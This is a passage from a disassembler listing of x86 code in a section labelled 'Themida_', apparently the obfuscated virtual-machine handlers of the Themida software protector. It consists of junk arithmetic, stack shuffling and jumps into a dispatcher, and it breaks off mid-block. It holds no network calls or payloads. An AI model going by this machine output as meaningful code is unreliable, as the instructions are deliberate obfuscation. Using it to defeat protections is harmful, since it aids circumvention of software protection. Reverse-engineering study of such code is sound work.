
loc_59509D:				; CODE XREF: Themida_:005A2E3Cj
		mov	eax, 4
		add	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	edi
		jmp	loc_5A1279
; ---------------------------------------------------------------------------


loc_5950B6:				; CODE XREF: Themida_:0059D64Ej
		and	[edi+1Ch], esi
		mov	esi, [esp]
		push	565h
		mov	[esp], esi
		push	esp
		jmp	loc_591E09
; ---------------------------------------------------------------------------


loc_5950CA:				; CODE XREF: Themida_:00590F99j
		add	edi, 0AEDD6B48h
		or	edx, edi
		jmp	loc_598C3C
; ---------------------------------------------------------------------------


loc_5950D7:				; CODE XREF: Themida_:00594E94j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	edx, 4C9B65EEh
		add	edx, eax
		add	edx, 4C9B65EEh
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5A2A45
; ---------------------------------------------------------------------------


loc_5950FD:				; CODE XREF: Themida_:005A36A0j
		pop	dx
		xor	ch, 0DBh
		add	al, ch
		pop	ecx
		xor	dl, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_598B1B
; ---------------------------------------------------------------------------


loc_595112:				; CODE XREF: Themida_:005A31ACj
		push	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5A332D
; ---------------------------------------------------------------------------


loc_59511E:				; CODE XREF: Themida_:0059C710j
		add	esp, 4
		jmp	loc_595B80
; ---------------------------------------------------------------------------


loc_595126:				; CODE XREF: Themida_:005A2777j
		xor	ecx, 3FA646BCh
		sub	ebx, ecx
		pop	ecx
		pop	edi
		push	1620h
		mov	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edi
		jmp	loc_59A924
; ---------------------------------------------------------------------------


loc_59514E:				; CODE XREF: Themida_:00591CD3j
		mov	esp, [esp]
		add	[esp], eax
		push	ecx
		jmp	loc_59E851
; ---------------------------------------------------------------------------


loc_59515A:				; CODE XREF: Themida_:00599841j
		pop	edx
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_595160:				; CODE XREF: Themida_:00590613j
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	cl, 31h
		push	ax
		mov	ah, 72h
		push	dx
		mov	dh, 0B0h
		add	cl, dh
		jmp	loc_5A4268
; ---------------------------------------------------------------------------


loc_595180:				; CODE XREF: Themida_:0059E55Fj
		sub	ebp, 0BA16C5E3h
		xor	eax, ebp
		pop	ebp
		sub	eax, 11FFEBA3h
		add	edx, eax
		pop	eax
		jmp	loc_59EBD4
; ---------------------------------------------------------------------------


loc_595196:				; CODE XREF: Themida_:00593037j
		push	ebp
		mov	ebp, 1
		mov	eax, ebp
		pop	ebp
		push	ebx
		push	edx
		jmp	loc_591CEC
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_5929EB
; ---------------------------------------------------------------------------


loc_5951AE:				; CODE XREF: Themida_:005A1138j
		add	esp, 4
		push	edx
		mov	edx, 0E558745Bh
		push	eax
		mov	eax, 2A9D36C5h
		sub	ebp, 21F9219Dh
		sub	ebp, eax
		push	eax
		jmp	loc_5A2185
; ---------------------------------------------------------------------------


loc_5951CB:				; CODE XREF: Themida_:0059F0FFj
		push	esi
		mov	esi, 11F4332Dh
		shr	esi, 4
		jmp	loc_59C5ED
; ---------------------------------------------------------------------------


loc_5951D9:				; CODE XREF: Themida_:00594775j
		push	ebp
		pop	eax
		pop	ebp
		push	ebp
		jmp	loc_5A0F5A
; ---------------------------------------------------------------------------


loc_5951E2:				; CODE XREF: Themida_:005919DFj
		push	eax
		jmp	loc_59DEF0
; ---------------------------------------------------------------------------


loc_5951E8:				; CODE XREF: Themida_:005A1E95j
		mov	[esp], ebp
		jmp	loc_590E8C
; ---------------------------------------------------------------------------


loc_5951F0:				; CODE XREF: Themida_:005A2022j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_59C6D7
; ---------------------------------------------------------------------------


loc_5951FE:				; CODE XREF: Themida_:00590509j
		add	ebp, 4596077Ch
		jmp	loc_5A175D
; ---------------------------------------------------------------------------


loc_595209:				; CODE XREF: Themida_:0059D06Ej
		cmp	cx, ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_595212:				; CODE XREF: Themida_:0059B0B0j
		pop	esp
		jmp	loc_5906B4
; ---------------------------------------------------------------------------


loc_595218:				; CODE XREF: Themida_:005980DBj
		add	ecx, 0BEF4FD51h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 654D11F1h
		jmp	loc_5A41C5
; ---------------------------------------------------------------------------


loc_595236:				; CODE XREF: Themida_:00595326j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_59699E
; ---------------------------------------------------------------------------


loc_595244:				; CODE XREF: Themida_:005A0A3Cj
		xor	ebp, 40A011h
		mov	ecx, ebp
		jmp	loc_592AE7
; ---------------------------------------------------------------------------


loc_595251:				; CODE XREF: Themida_:005A4099j
		push	4E14h
		mov	[esp], eax
		jmp	loc_59AF61
; ---------------------------------------------------------------------------


loc_59525E:				; CODE XREF: Themida_:0059A193j
		dec	eax
		neg	eax
		xor	eax, 0CD3CB0F2h
		mov	ecx, eax
		pop	eax
		jmp	loc_592240
; ---------------------------------------------------------------------------


loc_59526E:				; CODE XREF: Themida_:0059CF9Fj
		sub	eax, ebx
		pop	ebx
		mov	ebx, [esp]
		jmp	loc_59B7E3
; ---------------------------------------------------------------------------


loc_595279:				; CODE XREF: Themida_:0059EC4Fj
		mov	ebp, 7C186882h
		sub	ebp, 7C186880h
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		mov	dx, [esp]
		push	esi
		push	esp
		jmp	loc_593CD7
; ---------------------------------------------------------------------------


loc_595296:				; CODE XREF: Themida_:00591AB2j
		push	esi
		jmp	loc_59D103
; ---------------------------------------------------------------------------


loc_59529C:				; CODE XREF: Themida_:00597D47j
		add	ch, 0BEh
		jmp	loc_5956B5
; ---------------------------------------------------------------------------


loc_5952A4:				; CODE XREF: Themida_:00595603j
		add	esi, edx
		jmp	loc_59E417
; ---------------------------------------------------------------------------


loc_5952AB:				; CODE XREF: Themida_:0059C1A3j
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		push	eax
		push	esi
		pop	eax
		jmp	loc_593322
; ---------------------------------------------------------------------------


loc_5952B9:				; CODE XREF: Themida_:005A505Ej
		push	eax
		jmp	loc_59EA41
; ---------------------------------------------------------------------------


loc_5952BF:				; CODE XREF: Themida_:0059152Ej
		pop	ecx
		add	edx, edi
		pop	edi
		add	edx, ebx
		push	eax
		jmp	loc_59C6A0
; ---------------------------------------------------------------------------


loc_5952CB:				; CODE XREF: Themida_:005A4249j
		sub	[esp+4], eax
		pop	eax
		jmp	loc_594BF5
; ---------------------------------------------------------------------------


loc_5952D5:				; CODE XREF: Themida_:00593DACj
		push	ebx
		mov	ebx, 4D8E1FB8h
		and	ebx, 42641FE3h
		sub	ebx, 40041F9Ch
		sub	eax, 68731783h
		add	eax, ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 68731783h
		add	eax, ebx
		pop	ebx
		pop	ebx
		push	esi
		push	ebx
		mov	ebx, 2
		mov	esi, ebx
		jmp	loc_5A0B65
; ---------------------------------------------------------------------------


loc_59530B:				; CODE XREF: Themida_:005A178Aj
		sub	eax, esi
		jmp	loc_5A561C
; ---------------------------------------------------------------------------


loc_595312:				; CODE XREF: Themida_:0059396Aj
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_595236
; ---------------------------------------------------------------------------


loc_59532B:				; CODE XREF: Themida_:005944C9j
		push	1C79h
		jmp	loc_5998AA
; ---------------------------------------------------------------------------


loc_595335:				; CODE XREF: Themida_:00591845j
		pop	cx
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	68A8h
		jmp	loc_59BD65
; ---------------------------------------------------------------------------


loc_595358:				; CODE XREF: Themida_:005A2A72j
		xchg	ebx, edi
		push	ebx
		not	dword ptr [esp]
		jmp	loc_598D71
; ---------------------------------------------------------------------------


loc_595363:				; CODE XREF: Themida_:00599977j
		pop	cx
		push	ax
		mov	ah, 1
		add	bh, ah
		pop	ax
		shr	bh, 1
		add	bh, 0Bh
		jmp	loc_59C0B7
; ---------------------------------------------------------------------------


loc_595377:				; CODE XREF: Themida_:00599890j
		not	dh
		jmp	loc_594691
; ---------------------------------------------------------------------------


loc_59537E:				; CODE XREF: Themida_:005943BBj
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 234F7519h
		xor	eax, ecx
		jmp	loc_59F0B8
; ---------------------------------------------------------------------------


loc_59538F:				; CODE XREF: Themida_:005A4A35j
		pop	ecx
		pop	edi
		neg	ecx
		jmp	loc_599BDD
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		jmp	loc_5A3A72
; ---------------------------------------------------------------------------


loc_5953B7:				; CODE XREF: Themida_:00591B08j
		add	esp, 4
		xor	edi, [esp]
		jmp	loc_5A1D2A
; ---------------------------------------------------------------------------


loc_5953C2:				; CODE XREF: Themida_:00596BCEj
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, esi
		jmp	loc_5905DD
; ---------------------------------------------------------------------------


loc_5953D2:				; CODE XREF: Themida_:005960ECj
		push	edx
		sub	esp, 4
		mov	[esp], eax
		push	5C70582h
		pop	eax
		sub	dword ptr [esp+4], 62D39C7h
		sub	dword ptr [esp+4], 36BC4257h
		sub	[esp+4], eax
		add	dword ptr [esp+4], 36BC4257h
		add	dword ptr [esp+4], 62D39C7h
		pop	eax
		pop	eax
		jmp	loc_5A53C9
; ---------------------------------------------------------------------------


loc_59540A:				; CODE XREF: Themida_:00592200j
		mov	ebp, esp
		push	ebx
		jmp	loc_59DCDE
; ---------------------------------------------------------------------------


loc_595412:				; CODE XREF: Themida_:0059E487j
		add	ebp, 644C225Eh
		jmp	loc_59EBE4
; ---------------------------------------------------------------------------


loc_59541D:				; CODE XREF: Themida_:00596862j
		pop	edx
		and	ebp, 11E2757Fh
		jmp	loc_5A22A1
; ---------------------------------------------------------------------------


loc_595429:				; CODE XREF: Themida_:005A05CFj
		mov	edi, 7DC83D86h
		jmp	loc_5910C9
; ---------------------------------------------------------------------------


loc_595433:				; CODE XREF: Themida_:0059EE59j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A3589
; ---------------------------------------------------------------------------


loc_59543E:				; CODE XREF: Themida_:0059A6FBj
		add	esp, 4
		jmp	loc_5921D9
; ---------------------------------------------------------------------------


loc_595449:				; CODE XREF: Themida_:0059A426j
		xor	[esp], al
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_595452:				; CODE XREF: Themida_:00592B00j
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		push	edx
		mov	edx, 3007720h
		dec	edx
		jmp	loc_593DC4
; ---------------------------------------------------------------------------


loc_595469:				; CODE XREF: Themida_:005A22FBj
		sub	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_59BE23
; ---------------------------------------------------------------------------


loc_595477:				; CODE XREF: Themida_:00590777j
		pop	ebp
		push	4E4Ch
		mov	[esp], edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_59D6AB
; ---------------------------------------------------------------------------


loc_595498:				; CODE XREF: Themida_:005A1B5Dj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5954A5:				; CODE XREF: Themida_:005A56DDj
		pop	esp
		jmp	loc_594FFF
; ---------------------------------------------------------------------------


loc_5954AB:				; CODE XREF: Themida_:00599569j
		push	eax
		push	ecx
		jmp	loc_5A0F77
; ---------------------------------------------------------------------------


loc_5954B2:				; CODE XREF: Themida_:005A35DFj
		shl	esi, 2
		not	esi
		sub	esi, 0E3EA5037h
		jmp	loc_5A30B3
; ---------------------------------------------------------------------------


loc_5954C2:				; CODE XREF: Themida_:005959B1j
		add	esp, 4
		add	edx, 4
		push	edi
		push	esi
		mov	esi, 55027C6h
		mov	edi, 55027CAh
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 3FF408F2h
		sub	eax, 1B0AD9EDh
		add	edx, eax
		pop	eax
		sub	edx, 3B515A98h
		add	edx, edi
		push	edi
		jmp	loc_5A00D1
; ---------------------------------------------------------------------------


loc_5954FB:				; CODE XREF: Themida_:00598A02j
		sub	dword ptr [esp+8], 13D359C1h
		jmp	loc_59682F
; ---------------------------------------------------------------------------


loc_595508:				; CODE XREF: Themida_:0059159Ej
		mov	eax, [esp]
		jmp	loc_599C78
; ---------------------------------------------------------------------------


loc_595510:				; CODE XREF: Themida_:0059E6A5j
		mov	edx, esp
		push	ebp
		mov	ebp, 2C126133h
		jmp	loc_5A2D7F
; ---------------------------------------------------------------------------


loc_59551D:				; CODE XREF: Themida_:005908B4j
		add	eax, esi
		sub	eax, 179B52F9h
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_59940E
; ---------------------------------------------------------------------------


loc_595538:				; CODE XREF: Themida_:005A0D3Dj
		mov	ebx, [esp]
		jmp	loc_5991EA
; ---------------------------------------------------------------------------


loc_595540:				; CODE XREF: Themida_:005A3E83j
		xor	eax, 762F5204h
		sub	edi, 509B40E1h
		add	edi, 14F274EAh
		add	edi, eax
		sub	edi, 14F274EAh
		push	ebp
		mov	ebp, 509B40E1h
		add	edi, ebp
		pop	ebp
		pop	eax
		add	edi, 4
		jmp	loc_5A1E9A
; ---------------------------------------------------------------------------


loc_59556E:				; CODE XREF: Themida_:005975DAj
		push	eax
		mov	eax, 1043DB3h
		shr	eax, 2
		sub	eax, 35D52037h
		sub	eax, 0E4C7170h
		sub	eax, 4D3017EEh
		add	eax, 0A5FDA2DFh
		add	ebp, eax
		jmp	loc_591ACD
; ---------------------------------------------------------------------------


loc_595592:				; CODE XREF: Themida_:00593A16j
		not	ah
		add	ah, 83h
		xor	ah, 0ACh
		mov	dh, ah
		jmp	loc_59AE65
; ---------------------------------------------------------------------------


loc_5955A1:				; CODE XREF: Themida_:005947A7j
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_592287
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5909A9
; ---------------------------------------------------------------------------


loc_5955BE:				; CODE XREF: Themida_:005A1021j
		push	edi
		mov	edi, 13D001BDh
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 3D420FE0h
		add	esi, edi
		add	esi, 3D420FE0h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2C377F19h
		inc	edx
		add	edx, 30747546h
		jmp	loc_59B74A
; ---------------------------------------------------------------------------


loc_5955F4:				; CODE XREF: Themida_:00597616j
		pop	edi
		jmp	loc_5949FE
; ---------------------------------------------------------------------------


loc_5955FA:				; CODE XREF: Themida_:00599364j
		mov	ebx, 46526DB7h
		add	edx, ebx
		pop	ebx
		pop	ebp
		jmp	loc_5952A4
; ---------------------------------------------------------------------------


loc_595608:				; CODE XREF: Themida_:00595E2Dj
		push	edx
		mov	dl, ah
		jmp	loc_59A521
; ---------------------------------------------------------------------------


loc_595610:				; CODE XREF: Themida_:0059ADB3j
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_591623
; ---------------------------------------------------------------------------


loc_59561B:				; CODE XREF: Themida_:0059AA1Aj
		add	al, 58h
		pop	ecx
		xor	bl, al
		sub	esp, 4
		mov	[esp], edx
		push	2EC0h
		mov	[esp], ebp
		mov	ebp, 634264h
		or	ebp, 5DC46141h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3D4F72DEh
		jmp	loc_5A4FB2
; ---------------------------------------------------------------------------


loc_59564C:				; CODE XREF: Themida_:00596898j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A4A3A
; ---------------------------------------------------------------------------


loc_595657:				; CODE XREF: Themida_:0059C04Aj
		sub	edi, 73D61D32h
		add	edi, ebp
		add	edi, 73D61D32h
		mov	ebp, [esp]
		add	esp, 4
		add	edi, 4
		push	edx
		jmp	loc_599F14
; ---------------------------------------------------------------------------


loc_595674:				; CODE XREF: Themida_:005A1BE2j
		pop	ecx
		push	edx
		push	ebx
		jmp	loc_59CB53
; ---------------------------------------------------------------------------


loc_59567C:				; CODE XREF: Themida_:00597CB6j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		jmp	loc_5A1C7E
; ---------------------------------------------------------------------------


loc_595690:				; CODE XREF: Themida_:005931E2j
		add	ebx, edi
		sub	ebx, 7DCA709Bh
		sub	ebx, 4DFF08CFh
		push	7BABh
		jmp	loc_596DCA
; ---------------------------------------------------------------------------


loc_5956A8:				; CODE XREF: Themida_:0059AE01j
		push	5696h
		mov	[esp], esi
		jmp	loc_591D8D
; ---------------------------------------------------------------------------


loc_5956B5:				; CODE XREF: Themida_:0059529Fj
		sub	ch, 0E8h
		xor	ch, 0B8h
		sub	al, ch
		pop	ecx
		sub	al, dh
		push	ecx
		mov	cl, 44h
		xor	cl, 5Eh
		jmp	loc_59D8A9
; ---------------------------------------------------------------------------


loc_5956CB:				; CODE XREF: Themida_:005A229Cj
		not	dword ptr [esp]
		pop	edi
		push	6940h
		mov	[esp], ecx
		mov	ecx, 14E1314Eh
		jmp	loc_59C6E8
; ---------------------------------------------------------------------------


loc_5956E1:				; CODE XREF: Themida_:0059CFC5j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_595B88
; ---------------------------------------------------------------------------


loc_5956F0:				; CODE XREF: Themida_:0059F6C0j
		push	0EE3h
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_59B671
; ---------------------------------------------------------------------------


loc_595713:				; CODE XREF: Themida_:00594F61j
		mov	ebx, 0FB512DC1h
		add	ebx, edx
		pop	edx
		mov	eax, 19805100h
		sub	eax, ebx
		pop	ebx
		and	ebx, eax
		push	dword ptr [esp]
		jmp	loc_5A4610
; ---------------------------------------------------------------------------


loc_59572D:				; CODE XREF: Themida_:005A31EEj
		pop	esi
		push	eax
		jmp	loc_59EA3A
; ---------------------------------------------------------------------------


loc_595734:				; CODE XREF: Themida_:00592D04j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ecx
		push	43BAh
		mov	[esp], ebx
		push	ecx
		mov	cl, 0FEh
		add	cl, 93h
		mov	bl, cl
		pop	ecx
		xor	bl, 0D2h
		mov	ch, bl
		mov	ebx, [esp]
		add	esp, 4
		mov	dh, 0D0h
		xor	dh, ch
		pop	ecx
		add	al, dh
		mov	edx, [esp]
		add	esp, 4
		push	3F45h
		mov	[esp], ebx
		mov	bh, 0E0h
		shr	bh, 7
		push	edx
		mov	dl, 67h
		push	eax
		mov	al, 8Bh
		shl	al, 1
		shr	al, 1
		sub	al, 0Ah
		xor	al, 4Eh
		xor	dl, al
		jmp	loc_5A07C4
; ---------------------------------------------------------------------------


loc_59578F:				; CODE XREF: Themida_:005A0365j
		sub	ecx, edx
		pop	edx
		push	edi
		mov	edi, 6D565BEBh
		sub	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_592F6B
; ---------------------------------------------------------------------------


loc_5957B4:				; CODE XREF: Themida_:005A3F46j
		push	ebp
		mov	ebp, 2212699Dh
		sub	ebp, 21DB136Dh
		mov	ebx, ebp
		pop	ebp
		shl	ebx, 8
		sub	ebx, 549E6B47h
		add	ebx, 7DE46712h
		not	ebx
		jmp	loc_5A1A6C
; ---------------------------------------------------------------------------


loc_5957D9:				; CODE XREF: Themida_:005982E4j
		inc	dl
		push	ebx
		jmp	loc_597BB0
; ---------------------------------------------------------------------------


loc_5957E1:				; CODE XREF: Themida_:0059351Fj
		push	edi
		mov	edi, 14C1782Dh
		xor	edi, 718534F8h
		not	edi
		or	edi, 9C9049Fh
		sub	edi, 34DB486Dh
		add	edi, 98DF90B2h
		add	edx, edi
		jmp	loc_5A550E
; ---------------------------------------------------------------------------


loc_595808:				; CODE XREF: Themida_:00594224j
		pop	ebp
		xchg	ebx, [esp]
		jmp	loc_591D2B
; ---------------------------------------------------------------------------


loc_595811:				; CODE XREF: Themida_:00592309j
		pop	ebp
		pop	edx
		add	ebx, ecx
		push	dword ptr [esp]
		jmp	loc_5A24B5
; ---------------------------------------------------------------------------
		lodsb
		add	al, 0E8h
		push	edx
		mov	dl, 5
		push	ecx
		mov	cl, 82h
		inc	cl
		push	ebx
		mov	bl, 0FBh
		shr	bl, 5
		not	bl
		jmp	loc_5A2AEA
; ---------------------------------------------------------------------------


loc_595835:				; CODE XREF: Themida_:005A4230j
		push	edx
		push	ebp
		mov	ebp, 29CB0DE6h
		mov	edx, ebp
		jmp	loc_5A2DCB
; ---------------------------------------------------------------------------


loc_595843:				; CODE XREF: Themida_:00599E63j
		pop	esp
		shr	ecx, 7
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_59D189
; ---------------------------------------------------------------------------


loc_595868:				; CODE XREF: Themida_:005A2F36j
		push	7B665872h
		pop	ebx
		shl	ebx, 6
		add	ebx, 0FFFFFFFFh
		or	ebx, 342B1978h
		push	edi
		mov	edi, 492E43F6h
		inc	edi
		jmp	loc_5962FB
; ---------------------------------------------------------------------------


loc_595886:				; CODE XREF: Themida_:005936B7j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	bl, 0DAh
		push	edx
		mov	dl, 6Eh
		not	dl
		neg	dl
		shr	dl, 5
		sub	dl, 0C3h
		sub	bl, 0B5h
		sub	bl, dl
		push	ax
		jmp	loc_596B35
; ---------------------------------------------------------------------------


loc_5958AC:				; CODE XREF: Themida_:0059D301j
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_59F351
; ---------------------------------------------------------------------------


loc_5958B6:				; CODE XREF: Themida_:0059FB77j
		add	esp, 4
		sub	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A0B28
; ---------------------------------------------------------------------------


loc_5958C7:				; CODE XREF: Themida_:00591F2Aj
		xor	eax, ebx
		push	2B1Dh
		mov	[esp], esi
		jmp	loc_598FF9
; ---------------------------------------------------------------------------


loc_5958D6:				; CODE XREF: Themida_:0059EFCDj
		add	esp, 4
		push	edx
		mov	edx, 0A03A9A3Fh
		jmp	loc_594E99
; ---------------------------------------------------------------------------


loc_5958E4:				; CODE XREF: Themida_:00599AD7j
		push	ebx
		push	ecx
		jmp	loc_59C960
; ---------------------------------------------------------------------------


loc_5958EB:				; CODE XREF: Themida_:00596031j
		push	edi
		mov	edi, ebp
		mov	edx, edi
		pop	edi
		mov	eax, edx
		pop	edx
		pop	ebp
		sub	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		jmp	loc_594C97
; ---------------------------------------------------------------------------


loc_595916:				; CODE XREF: Themida_:00598B41j
		mov	cl, bl
		pop	ebx
		xor	cl, 3Ch
		shl	cl, 1
		jmp	loc_5905EF
; ---------------------------------------------------------------------------


loc_595923:				; CODE XREF: Themida_:0059053Fj
		mov	[esp], esi
		push	6D45283Dh
		pop	esi
		add	esi, 72DF51CAh
		jmp	loc_59D7FB
; ---------------------------------------------------------------------------


loc_595937:				; CODE XREF: Themida_:0059DD48j
		push	eax
		mov	eax, 34DC4CFDh
		add	eax, 53416497h
		xor	edx, eax
		jmp	loc_5941D4
; ---------------------------------------------------------------------------


loc_595949:				; CODE XREF: Themida_:005930D1j
		sub	ebp, 122324CBh
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5A224C
; ---------------------------------------------------------------------------


loc_59595A:				; CODE XREF: Themida_:00595EB0j
		pop	ebx
		inc	edi
		add	edi, 8AE0FA42h
		push	ebx
		mov	ebx, 7C920ECBh
		sub	ecx, 147767D0h
		sub	ecx, ebx
		add	ecx, 147767D0h
		pop	ebx
		jmp	loc_5A3174
; ---------------------------------------------------------------------------


loc_59597C:				; CODE XREF: Themida_:0059F4E8j
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_59253A
; ---------------------------------------------------------------------------


loc_59598A:				; CODE XREF: Themida_:005A46A9j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A0168
; ---------------------------------------------------------------------------


loc_595993:				; CODE XREF: Themida_:0059F1FEj
		push	cx
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59599B:				; CODE XREF: Themida_:0059F797j
		sub	eax, 0D240B83h
		jmp	loc_599A0E
; ---------------------------------------------------------------------------


loc_5959A5:				; CODE XREF: Themida_:0059463Cj
		add	dword ptr [esp+4], 6E9C2029h
		pop	edx
		mov	edx, [esp]
		jmp	loc_5954C2
; ---------------------------------------------------------------------------


loc_5959B6:				; CODE XREF: Themida_:005A52A2j
		pop	esp
		idiv	ecx
		push	34AEh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5959C8:				; CODE XREF: Themida_:00593AEDj
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, 6341DDCh
		add	edi, 0BE26F08h
		jmp	loc_59899D
; ---------------------------------------------------------------------------


loc_5959DD:				; CODE XREF: Themida_:005A2DC6j
		xchg	esi, [esp]
		jmp	loc_599A18
; ---------------------------------------------------------------------------


loc_5959E5:				; CODE XREF: Themida_:00590F87j
		sub	esp, 4
		jmp	loc_597048
; ---------------------------------------------------------------------------


loc_5959ED:				; CODE XREF: Themida_:0059C5A6j
		add	eax, 61DD7DE4h
		not	eax
		shl	eax, 7
		not	eax
		shr	eax, 5
		push	ecx
		mov	ecx, 0FCF95DA3h
		add	eax, ecx
		pop	ecx
		xor	esi, eax
		mov	eax, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_5A4A9A
; ---------------------------------------------------------------------------


loc_595A1C:				; CODE XREF: Themida_:005942C7j
		add	dl, bh
		pop	ebx
		xchg	ah, dl
		push	small 0
		sub	[esp], ah
		mov	ah, [esp]
		add	esp, 2
		jmp	loc_59DDB2
; ---------------------------------------------------------------------------


loc_595A33:				; CODE XREF: Themida_:0059DE0Fj
		add	esp, 4
		sub	al, dl
		pop	dx
		push	small 2967h
		mov	[esp], bx
		push	edx
		mov	dl, 91h
		xor	dl, 38h
		sub	dl, 85h
		jmp	loc_59CB3A
; ---------------------------------------------------------------------------


loc_595A53:				; CODE XREF: Themida_:005938E8j
		push	ecx
		mov	ecx, 0E5910DCh
		add	esi, ecx
		pop	ecx
		add	esi, ebp
		sub	esi, 0E5910DCh
		push	ecx
		mov	ecx, 49287ECEh
		sub	esi, ecx
		pop	ecx
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_591282
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3ED4h
		mov	[esp], esi
		push	esp
		jmp	loc_59C66F
; ---------------------------------------------------------------------------


loc_595A9A:				; CODE XREF: Themida_:0059E177j
		add	eax, ebp
		jmp	loc_59035B
; ---------------------------------------------------------------------------


loc_595AA1:				; CODE XREF: Themida_:0059F29Aj
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5919E4
; ---------------------------------------------------------------------------


loc_595AAA:				; CODE XREF: Themida_:005A052Cj
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_598270
; ---------------------------------------------------------------------------


loc_595ABF:				; CODE XREF: Themida_:005A1CD8j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A0D05
; ---------------------------------------------------------------------------


loc_595AD1:				; CODE XREF: Themida_:0059F2D3j
		and	edi, 770F24DAh
		sub	edi, 6B1B6259h
		xor	edi, 0D08F84C0h
		jmp	loc_5976A1
; ---------------------------------------------------------------------------


loc_595AE8:				; CODE XREF: Themida_:0059445Bj
		dec	dl
		jmp	loc_59D992
; ---------------------------------------------------------------------------


loc_595AEF:				; CODE XREF: Themida_:00597AF3j
		pop	esi
		sub	ebx, 703E20FBh
		jmp	loc_591D33
; ---------------------------------------------------------------------------


loc_595AFB:				; CODE XREF: Themida_:0059361Fj
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_59AC0F
; ---------------------------------------------------------------------------


loc_595B05:				; CODE XREF: Themida_:00593896j
		inc	ecx
		sub	ecx, 0F5532A83h
		and	eax, ecx
